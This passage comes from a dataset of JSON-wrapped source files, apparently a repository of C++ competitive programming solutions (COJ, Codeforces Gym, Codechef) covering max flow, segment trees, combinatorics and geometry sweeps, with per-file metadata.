{\r\n\t\t\tmu[j] = 0;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < primes.size(); i++) {\r\n\t\tint x = primes[i];\r\n\t\tfor (int j = x; j <= N; j += x) {\r\n\t\t\tmu[j] = -mu[j];\r\n\t\t}\r\n\t}\r\n\r\n\twhile (cin >> n >> k >> p) {\r\n\t\tp = primes[p];\r\n\t\tfor (int i = 0; i <= N; i++) {\r\n\t\t\tf[i] = 0;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t\tf[a[i]]++;\r\n\t\t}\r\n\t\tfact[0] = 1;\r\n\t\tifact[0] = 1;\r\n\t\tfor (int i = 1; i < p; i++) {\r\n\t\t\tfact[i] = (fact[i - 1] * i) % p;\r\n\t\t\tifact[i] = power(fact[i], p - 2);\r\n\t\t}\r\n\t\tint ans = lucas(n, k);\r\n\t\tcerr << ans << \"\\n\";\r\n\t\tfor (int i = 2; i <= N; i++) {\r\n\t\t\tif (mu[i] == 0) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tint t = 0;\r\n\t\t\tfor (int j = i; j <= N; j += i) {\r\n\t\t\t\tt += f[j];\r\n\t\t\t}\r\n\t\t\tif (t == 0) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tif (mu[i] == 1) {\r\n\t\t\t\tans = (ans + lucas(t, k)) % p;\r\n\t\t\t} else {\r\n\t\t\t\tans = (ans + (p - lucas(t, k))) % p;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4740157425403595, "alphanum_fraction": 0.4834645688533783, "avg_line_length": 18.483871459960938, "blob_id": "18d40552c86e9dfefe15fec989d498cd5ae7d74f", "content_id": "801dcdeba7f9bca61d1f1fe567deb14512567373", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 635, "license_type": "no_license", "max_line_length": 38, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p3363-Accepted-s827135.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(3);\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tdouble xa, ya, xb, yb, dist;\r\n\t\tcin >> xa >> ya >> xb >> yb >> dist;\r\n\t\tdouble dx, dy;\r\n\t\tdx = xb - xa;\r\n\t\tdy = yb - ya;\r\n\t\tdouble l = sqrt(dx * dx + dy * dy);\r\n\t\tdx /= l;\r\n\t\tdy /= l;\r\n\t\tdouble tmpdx = dx;\r\n\t\tdouble tmpdy = dy;\r\n\t\tdx = -tmpdy;\r\n\t\tdy = tmpdx;\r\n\t\tdouble xc = (xa + xb) / 2.0;\r\n\t\tdouble yc = (ya + yb) / 2.0;\r\n\t\tdouble ansx = xc + dist * dx;\r\n\t\tdouble ansy = yc + dist * dy;\r\n\t\tcout << fixed << ansx << \" \";\r\n\t\tcout << fixed << ansy << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4277227818965912, "alphanum_fraction": 0.4534653425216675, "avg_line_length": 20.338027954101562, "blob_id": "2a8b31c0f8b269890c1d2c3c204bb7258bbce361", "content_id": "1209ee94a18d26f9a12f1887a6bd3d8c87b8c727", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1515, "license_type": "no_license", "max_line_length": 85, "num_lines": 71, "path": "/Codeforces-Gym/101669 - 2017-2018 ACM-ICPC Southeastern European Regional Programming Contest (SEERC 2017)/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC Southeastern European Regional Programming Contest (SEERC 2017)\n// 101669F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\ntypedef long long ll;\nconst int maxn = 6000;\nll acc0;\nint n;\nll c[maxn];\ntypedef pair<ll,int> plli;\n//vector< plli > power_off, power_on, optional;\nset<plli> on, off, optional;\n\n\nll solve( const set<plli> &on, const set<plli> &off){\n ll ret = 0;\n ll acc = acc0;\n for( auto it = off.rbegin(); it != off.rend(); it++ ){\n acc -= it->first;\n ret += acc;\n }\n for( auto it = on.begin(); it != on.end(); it++ ){\n acc += it->first;\n ret += acc;\n }\n return ret;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen( \"dat.txt\", \"r\", stdin );\n\n cin >> n;\n\n for( int i = 0; i < n; i++ ){\n cin >> c[i];\n }\n string a, b;\n cin >> a;\n for( int i = 0; i < n; i++ ){\n acc0 += ( a[i]=='1'?c[i]:0 );\n }\n cin >> b;\n for( int i = 0; i < n; i++ ){\n\n if( b[i] == '1' && a[i] == '0' ){\n on.insert( make_pair( c[i], i ) );\n }\n if( b[i] == '0' && a[i] == '1' ){\n off.insert( make_pair( c[i], i ) );\n }\n if( b[i] == '1' && a[i] == '1' )\n optional.insert( make_pair(c[i], i) );\n }\n\n\n ll ans = solve( on, off );\n for( auto it = optional.rbegin(); it != optional.rend(); it++ ){\n off.insert( *it );\n on.insert( *it );\n ans = min( ans, solve( on, off ) );\n\n }\n\n cout << ans << '\\n';\n\n}\n" }, { "alpha_fraction": 0.37196260690689087, "alphanum_fraction": 0.3943925201892853, "avg_line_length": 12.350000381469727, "blob_id": "5a33f26f2e92ac4e8da63e4eb9848b9edeee8c76", "content_id": "929482102098bfe62b52777717d136a78ad29e2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 535, "license_type": "no_license", "max_line_length": 32, "num_lines": 40, "path": "/Codechef/BANDMATR.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 505;\n\nint t;\nint n;\nint a[N][N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tint cnt = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tfor (int j = 0; j < n; j++) {\n\t\t\t\tcin >> a[i][j];\n\t\t\t\tif (a[i][j] == 1) {\n\t\t\t\t\tcnt++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tint need = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tif (i == 0) {\n\t\t\t\tneed += n;\n\t\t\t} else {\n\t\t\t\tneed += 2 * (n - i);\n\t\t\t}\n\t\t\tif (need >= cnt) {\n\t\t\t\tcout << i << \"\\n\";\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n}\n\n" }, { "alpha_fraction": 0.30828115344047546, "alphanum_fraction": 0.3298538625240326, "avg_line_length": 20.10769271850586, "blob_id": "09ed11156c414bfd0d74c9ac7c8a1710c2fd5264", "content_id": "679ae101e0d51ed014e74817667996981494a4bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1437, "license_type": "no_license", "max_line_length": 68, "num_lines": 65, "path": "/COJ/eliogovea-cojAC/eliogovea-p2520-Accepted-s481462.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n\r\nusing namespace std;\r\n\r\nint t,n,p,j,f,x,t1,t2;\r\nbool rec[501],rel[501];\r\n\r\nvector<int> fail;\r\nvector<int> del;\r\n\r\nint main()\r\n{\r\n scanf(\"%d\",&t);\r\n while(t--)\r\n {\r\n scanf(\"%d%d%d%d\",&n,&p,&j,&f);\r\n for(int i=0; i<j; i++)\r\n {\r\n scanf(\"%d\",&x);\r\n rec[x]=1;\r\n }\r\n for(int i=0; i<f; i++)\r\n {\r\n scanf(\"%d\",&x);\r\n rel[x]=1;\r\n }\r\n for(int i=p+1; i<=n; i++)\r\n {\r\n if(rec[i]==0 && rel[i]==0)\r\n {\r\n t1++;\r\n fail.push_back(i);\r\n }\r\n }\r\n for(int i=1; i<=n; i++)\r\n {\r\n if((rec[i] && i<=p) || (rec[i] && rel[i]))\r\n {\r\n t2++;\r\n del.push_back(i);\r\n }\r\n }\r\n\r\n if(fail.size()==0)printf(\"0\\n\");\r\n else\r\n {\r\n printf(\"%d \",fail.size());\r\n for(int i=0; i<fail.size()-1; i++)printf(\"%d \",fail[i]);\r\n printf(\"%d\\n\",fail[fail.size()-1]);\r\n }\r\n\r\n if(del.size()==0)printf(\"0\\n\");\r\n else\r\n {\r\n printf(\"%d \",del.size());\r\n for(int i=0; i<del.size()-1; i++)printf(\"%d \",del[i]);\r\n printf(\"%d\\n\",del[del.size()-1]);\r\n }\r\n fail.clear();\r\n del.clear();\r\n for(int i=0; i<=n; i++){rec[i]=rel[i]=0;}\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.4421052634716034, "alphanum_fraction": 0.4694736897945404, "avg_line_length": 16.269229888916016, "blob_id": "04c940db5b206d866d22880fd60fdf4cf4e0a97b", "content_id": "cd6d2dc1e8c2d62d266d4e3a3909d06e7d6812f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 475, "license_type": "no_license", "max_line_length": 51, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p2256-Accepted-s609296.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1100;\r\n\r\nint n, arr[MAXN], sol[MAXN], ind = 1;\r\n\r\nvoid f(int idx) {\r\n\tif (idx > n) return;\r\n\tsol[idx] = arr[ind++];\r\n\tf(2 * idx);\r\n\tf(2 * idx + 1);\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 1; i <= n; i++) scanf(\"%d\", arr + i);\r\n\tsort(arr + 1, arr + n + 1);\r\n\tf(1);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tprintf(\"%d\", sol[i]);\r\n\t\tif (i != n) printf(\" \");\r\n\t\telse printf(\"\\n\");\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4583333432674408, "alphanum_fraction": 0.47537878155708313, "avg_line_length": 16, "blob_id": "20409fe01f5847f169e30b5f652e8c19b07b73a1", "content_id": "a64f9ced5fac09ab3a2d2fdaaae7f07081686d13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 528, "license_type": "no_license", "max_line_length": 69, "num_lines": 31, "path": "/Codechef/STACKS.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint t;\nint n, a[100005];\nvector<int> ans;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tans.clear();\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> a[i];\n\t\t\tint pos = upper_bound(ans.begin(), ans.end(), a[i]) - ans.begin();\n\t\t\tif (pos == ans.size()) {\n\t\t\t\tans.push_back(a[i]);\n\t\t\t} else {\n\t\t\t\tans[pos] = a[i];\n\t\t\t}\n\t\t}\n\t\tcout << ans.size();\n\t\tfor (int i = 0; i < ans.size(); i++) {\n\t\t\tcout << \" \" << ans[i];\n\t\t}\n\t\tcout << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.3907528519630432, "alphanum_fraction": 0.4177577793598175, "avg_line_length": 18.396825790405273, "blob_id": "808434a88de1a0f82a6247dcfd9c7fd52814ad3d", "content_id": "ecc19b8549aa564512cb433b06103d689ec46a5c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2444, "license_type": "no_license", "max_line_length": 61, "num_lines": 126, "path": "/Caribbean-Training-Camp-2018/Contest_1/Solutions/E1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int maxn = 200000+ 100;\n\nint st_max[4*maxn];\nint st_min[4*maxn];\nint a[maxn];\nint n, m;\n\nvoid build( int nod, int l, int r ){\n if( l == r ){\n st_min[nod] = st_max[nod] = a[l];\n return;\n }\n\n int mid = (l+r)>>1;\n\n build( 2*nod, l, mid );\n build( 2*nod+1, mid+1, r );\n\n st_max[nod] = max( st_max[2*nod], st_max[2*nod+1] );\n st_min[nod] = min( st_min[2*nod], st_min[2*nod+1] );\n}\n\n\nvoid update( int nod, int l, int r, int p, int v ){\n if( l == r && l == p ){\n st_max[nod] = st_min[nod ] = a[l] = v;\n return;\n }\n\n int mid = ( l+r )>>1;\n\n if( p <= mid )\n update( 2*nod, l, mid, p, v );\n else\n update( 2*nod+1, mid+1, r, p, v );\n\n st_max[nod] = max( st_max[2*nod], st_max[2*nod+1] );\n st_min[nod] = min( st_min[2*nod], st_min[2*nod+1] );\n}\n\npair<int,int> query( int nod, int l, int r, int ql, int qr ){\n\n if( l > qr || r < ql ) return { INT_MAX, INT_MIN};\n\n if( ql <= l && r <= qr ){\n return { st_min[nod], st_max[nod] };\n }\n\n int mid = ( l+r )>>1;\n\n pair<int,int> lo = query( 2*nod, l, mid, ql, qr ),\n hi = query( 2*nod+1, mid+1,r, ql,qr ),\n comb;\n\n comb.first = min( lo.first, hi.first );\n comb.second = max( lo.second, hi.second );\n return comb;\n}\n\nint ans = -1;\nvoid get_ans( int nod, int l, int r, int ql, int qr, int k ){\n if( l > qr || r < ql )\n return;\n\n if( st_max[nod] < k )\n return ;\n\n if( l == r ){\n ans = min( ans, l );\n return ;\n }\n\n int mid = (l+r)>>1;\n\n\n if( ql <= l && r <= qr ){\n\n if( st_max[nod] < k )\n return ;\n\n if( st_max[2*nod] >= k )\n get_ans( 2*nod, l, mid, ql, qr, k );\n else\n get_ans( 2*nod+1, mid+1, r, ql, qr, k );\n\n return;\n }\n\n get_ans( 2*nod, l, mid, ql, qr, k );\n get_ans( 2*nod+1, mid+1, r, ql, qr, k );\n\n}\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen( \"dat.txt\", \"r\", stdin );\n\n cin >> n >> m;\n\n for( int i = 1; i <= n; i++ )\n cin >> a[i];\n build( 1, 1, n );\n\n while( m-- ){\n int t, a, b;\n cin >> t >> a >> b;\n\n if( t == 1 ){\n ans = 1<<29;\n get_ans( 1, 1, n, a, n, b );\n cout << (ans==(1<<29)?-1:ans) << '\\n';\n }\n else{\n update( 1, 1, n, a, b );\n }\n\n }\n\n}\n" }, { "alpha_fraction": 0.4920273423194885, "alphanum_fraction": 0.5808656215667725, "avg_line_length": 23.38888931274414, "blob_id": "96eb60f989bd5c8d745225a920f60c6de269deac", "content_id": "b9ccfb4a608019c8d71d150fd04ac8a59406246f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 439, "license_type": "no_license", "max_line_length": 163, "num_lines": 18, "path": "/Codeforces-Gym/101150 - 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)/J.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E08: Codeforces Trainings Season 3 Episode 8 - 2005-2006 ACM-ICPC, Tokyo Regional Contest + 2010 Google Code Jam Qualification Round (CGJ 10, Q)\n// 101150J\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tlong long n, k;\n\t\tcin >> n >> k;\n\t\tcout << (((k & ((1LL << n) - 1LL)) == ((1LL << n) - 1LL)) ? \"ON\" : \"OFF\") << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3534201979637146, "alphanum_fraction": 0.37328991293907166, "avg_line_length": 16.058822631835938, "blob_id": "7dc6d50a85bb61ad0ebf8ea0c9f8728b2a557875", "content_id": "bf92f2dcd00716e1a2167cddaa6ab420a6e95d31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3070, "license_type": "no_license", "max_line_length": 71, "num_lines": 170, "path": "/COJ/eliogovea-cojAC/eliogovea-p1210-Accepted-s924784.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005, M = 100005, INF = 1e7;\r\n\r\nint ady[M], cap[M], flow[M], next[M], last[N], now[N];\r\nint E;\r\nint source, sink;\r\n\r\ninline void add(int a, int b, int c) {\r\n\tady[E] = b; cap[E] = c; flow[E] = 0; next[E] = last[a]; last[a] = E++;\r\n\tady[E] = a; cap[E] = 0; flow[E] = 0; next[E] = last[b]; last[b] = E++;\r\n}\r\n\r\nint Q[N], qh, qt;\r\n\r\nint total;\r\n\r\nint lev[N];\r\n\r\nbool bfs() {\r\n\tfor (int i = 0; i < total; i++) {\r\n\t\tlev[i] = -1;\r\n\t}\r\n\tqh = qt = 0;\r\n\tQ[qt++] = source;\r\n\tlev[source] = 0;\r\n\twhile (qh != qt) {\r\n\t\tint u = Q[qh++];\r\n\t\tfor (int e = last[u]; e != -1; e = next[e]) {\r\n\t\t\tif (cap[e] > flow[e]) {\r\n\t\t\t\tint v = ady[e];\r\n\t\t\t\tif (lev[v] == -1) {\r\n\t\t\t\t\tlev[v] = lev[u] + 1;\r\n\t\t\t\t\tQ[qt++] = v;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn (lev[sink] != -1);\r\n}\r\n\r\nint dfs(int u, int f) {\r\n\tif (u == sink) {\r\n\t\treturn f;\r\n\t}\r\n\tfor (int e = now[u]; e != -1; e = now[u] = next[e]) {\r\n\t\tif (cap[e] > flow[e]) {\r\n\t\t\tint v = ady[e];\r\n\t\t\tif (lev[v] == lev[u] + 1) {\r\n\t\t\t\tint push = dfs(v, min(f, cap[e] - flow[e]));\r\n\t\t\t\tif (push > 0) {\r\n\t\t\t\t\tflow[e] += push;\r\n\t\t\t\t\tflow[e ^ 1] -= push;\r\n\t\t\t\t\treturn push;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nint maxFlow() {\r\n\tint res = 0;\r\n\twhile (bfs()) {\r\n\t\tfor (int i = 0; i < total; i++) {\r\n\t\t\tnow[i] = last[i];\r\n\t\t}\r\n\t\twhile (true) {\r\n\t\t\tint tmp = dfs(source, INF);\r\n\t\t\tif (tmp == 0) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tres += tmp;\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\nint n, m, g;\r\n\r\nint p[N];\r\nint vs[N][N];\r\nint idvs[N][N];\r\nint ide[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\twhile (cin >> n >> m >> g) {\r\n\t\tif (n == 0 && m == 0 && g == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tp[i] = 0;\r\n\t\t\tfor (int j = i + 1; j < n; j++) {\r\n\t\t\t\tvs[i][j] = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t\twhile (g--) {\r\n\t\t\tint a, b;\r\n\t\t\tchar ch;\r\n\t\t\tcin >> a >> ch >> b;\r\n\t\t\tif (ch == '=') {\r\n\t\t\t\tp[a]++;\r\n\t\t\t\tp[b]++;\r\n\t\t\t} else {\r\n\t\t\t\tp[b] += 2;\r\n\t\t\t}\r\n\t\t\tif (a > b) {\r\n\t\t\t\tswap(a, b);\r\n\t\t\t}\r\n\t\t\tvs[a][b]++;\r\n\t\t}\r\n\r\n\r\n\t\tint T = m * (n - 1);\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tT -= vs[0][i];\r\n\t\t}\r\n\t\tint mx = p[0] + 2 * T;\r\n\r\n\t\ttotal = 0;\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tide[i] = total++;\r\n\t\t}\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tfor (int j = i + 1; j < n; j++) {\r\n\t\t\t\tidvs[i][j] = total++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tsource = total++;\r\n\t\tsink = total++;\r\n\t\tE = 0;\r\n\t\tfor (int i = 0; i < total; i++) {\r\n\t\t\tlast[i] = -1;\r\n\t\t}\r\n\t\tint x = 0;\r\n\t\tfor (int i = 1; i < n; i++) {\r\n\t\t\tfor (int j = i + 1; j < n; j++) {\r\n\t\t\t\tx += 2 * (m - vs[i][j]);\r\n\t\t\t\tadd(source, idvs[i][j], 2 * (m - vs[i][j]));\r\n\t\t\t\tadd(idvs[i][j], ide[i], INF);\r\n\t\t\t\tadd(idvs[i][j], ide[j], INF);\r\n\t\t\t}\r\n\t\t}\r\n\t\tbool ok = true;\r\n\t\tfor (int i = 1; i < n; i++) {\r\n if (mx - 1 - p[i] < 0) {\r\n ok = false;\r\n break;\r\n }\r\n\t\t\tadd(ide[i], sink, mx - 1 - p[i]);\r\n\t\t}\r\n\t\tif (!ok) {\r\n cout << \"N\\n\";\r\n continue;\r\n\t\t}\r\n\t\tint ans = maxFlow();\r\n\t\t//cout << ans << \"\\n\";\r\n\t\tif (ans == x) {\r\n\t\t\tcout << \"Y\\n\";\r\n\t\t} else {\r\n\t\t\tcout << \"N\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37343358993530273, "alphanum_fraction": 0.3922305703163147, "avg_line_length": 15.957447052001953, "blob_id": "6e7539d0d108b1c4916771a01e458f9f4e4e8e5c", "content_id": "fc9ad07d6642add0d939dacaf98b54645968c1db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 798, "license_type": "no_license", "max_line_length": 40, "num_lines": 47, "path": "/COJ/Copa-UCI-2018/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 200100;\n\nvector<int> g[MAXN];\n\nint sol[MAXN];\n\nvoid solve( int u, int mk ){\n sol[u] = mk;\n for( auto v : g[u] ){\n if( !sol[v] ){\n solve( v , sol[u] % 2 + 1 );\n }\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, m; cin >> n >> m;\n\n while( m-- ){\n int u, v; cin >> u >> v;\n g[u].push_back(v);\n g[v].push_back(u);\n }\n\n for( int u = 1; u <= n; u++ ){\n if( g[u].size() == 0 ){\n cout << \"Impossible\\n\";\n return 0;\n }\n if( !sol[u] )\n solve( u , 1 );\n }\n\n cout << \"Possible\\n\";\n for( int u = 1; u <= n; u++ ){\n cout << sol[u] << '\\n';\n }\n}\n\n" }, { "alpha_fraction": 0.3887147307395935, "alphanum_fraction": 0.4190177619457245, "avg_line_length": 15.399999618530273, "blob_id": "3fb763eb3b7111c4f224ec6a857875fe87053147", "content_id": "5d29d8040de6b21f7a47c42dda8224e3b5289b4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 957, "license_type": "no_license", "max_line_length": 91, "num_lines": 55, "path": "/COJ/eliogovea-cojAC/eliogovea-p3532-Accepted-s915127.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000005;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nint f[N];\r\n\r\ninline int power(int x, int n) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = mul(res, x);\r\n\t\t}\r\n\t\tx = mul(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n, p, k;\r\n\tf[0] = 1;\r\n\tfor (int i = 1; i < N; i++) {\r\n\t\tf[i] = mul(f[i - 1], i);\r\n\t}\r\n\tcin >> n >> p >> k;\r\n\tint ans = 0;\r\n\tfor (int i = 0; i * p <= n; i++) {\r\n\t\tint x = n - i * p;\r\n\t\tif (x % k) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tint y = x / k;\r\n\t\t//cout << i << \" \" << y << \" \" << mul(f[i + y], power(mul(f[i], f[y]), MOD - 2)) << \"\\n\";\r\n\t\tadd(ans, mul(f[i + y], power(mul(f[i], f[y]), MOD - 2)));\r\n\t\t//cout << i << \" \" << ans << \"\\n\";\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.40118077397346497, "alphanum_fraction": 0.4149564206600189, "avg_line_length": 20.682926177978516, "blob_id": "800d60b8de8c7aa061885e142f5036e1ae926a9d", "content_id": "a049dc7d546d6cfbe96218eb6b658dce02374c56", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3557, "license_type": "no_license", "max_line_length": 125, "num_lines": 164, "path": "/Codechef/REDBLUE.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// https://www.codechef.com/DEC17/problems/REDBLUE\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ninline int sign(long long x) {\n\treturn (x < 0) ? -1 : (x > 0);\n}\n\nstruct point {\n\tint x, y;\n\tpoint() {}\n\tpoint(int _x, int _y) : x(_x), y(_y) {}\n};\n\npoint operator - (const point & P, const point & Q) {\n\treturn point(P.x - Q.x, P.y - Q.y);\n}\n\ninline long long cross(const point & P, const point & Q) {\n\treturn (long long)P.x * Q.y - (long long)P.y * Q.x;\n}\n\npoint fix(point P) {\n\tif (P.y < 0 || (P.y == 0 && P.x < 0)) {\n\t\tP.x = -P.x;\n\t\tP.y = -P.y;\n\t}\n\treturn P;\n}\n\nconst int N = 1000 + 10;\n\nint n, m;\npoint pts[N + N];\nint color[N + N];\n\nstruct event {\n\tpoint P;\n\tint c;\n\tint v;\n\tevent() {}\n\tevent(point _P, int _c, int _v) : P(_P), c(_c), v(_v) {}\n};\n\nbool operator < (const event & a, const event & b) {\n\treturn (cross(a.P, b.P) > 0);\n}\n\nevent E[N + N];\n\nvoid solve() {\n\tcin >> n >> m;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> pts[i].x >> pts[i].y;\n\t\tcolor[i] = 0;\n\t}\n\tfor (int i = 0; i < m; i++) {\n\t\tcin >> pts[n + i].x >> pts[n + i].y;\n\t\tcolor[n + i] = 1;\n\t}\n\n\tint answer = n - 1 + m - 1;\n\n\tfor (int id = 0; id < n + m; id++) {\n\t\tpoint P = pts[id];\n\t\t// cerr << \"center: \" << P.x << \" \" << P.y << \"\\n\";\n\t\t{\n\t\t\t// cerr << \"start ccw sweep\\n\";\n\t\t\tint pos = 0;\n\t\t\tint red_left = 0;\n\t\t\tint blue_left = 0;\n\t\t\tfor (int i = 0; i < n + m; i++) {\n\t\t\t\tif (i != id) {\n\t\t\t\t\tpoint Q = pts[i] - P;\n\t\t\t\t\tif (Q.y >= 0) {\n\t\t\t\t\t\tif (i < n) {\n\t\t\t\t\t\t\tred_left++;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tblue_left++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (Q.y > 0 || (Q.y == 0 && Q.x > 0)) {\n\t\t\t\t\t\tE[pos++] = event(fix(Q), color[i], -1);\n\t\t\t\t\t} else if (Q.y < 0) {\n\t\t\t\t\t\tE[pos++] = event(fix(Q), color[i], 1);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (id < n) {\n\t\t\t\tred_left++;\n\t\t\t} else {\n\t\t\t\tblue_left++;\n\t\t\t}\n\t\t\tsort(E, E + pos);\n\t\t\tint best = min(red_left + m - blue_left, blue_left + n - red_left);\n\t\t\t// cerr << \"-->> \" << red_left << \" \" << blue_left << \" \" << best << \"\\n\";\n\t\t\tfor (int i = 0; i < pos; i++) {\n\t\t\t\tif (E[i].c == 0) {\n\t\t\t\t\tred_left += E[i].v;\n\t\t\t\t} else {\n\t\t\t\t\tblue_left += E[i].v;\n\t\t\t\t}\n\t\t\t\tbest = min(best, min(red_left + m - blue_left, blue_left + n - red_left));\n\t\t\t\t// cerr << \"-->> \" << \"(\" << E[i].P.x << \", \" << E[i].P.y << \") \" << red_left << \" \" << blue_left << \" \" << best << \"\\n\";\n\t\t\t}\n\t\t\tanswer = min(answer, best);\n\t\t}\n\t\t{\n\t\t\t// cerr << \"start cw sweep\\n\";\n\t\t\tint pos = 0;\n\t\t\tint red_left = 0;\n\t\t\tint blue_left = 0;\n\t\t\tfor (int i = 0; i < n + m; i++) {\n\t\t\t\tif (i != id) {\n\t\t\t\t\tpoint Q = P - pts[i];\n\t\t\t\t\t// cerr << \"Q: \" << Q.x << \" \" << Q.y << \"\\n\";\n\t\t\t\t\tif (Q.y >= 0) 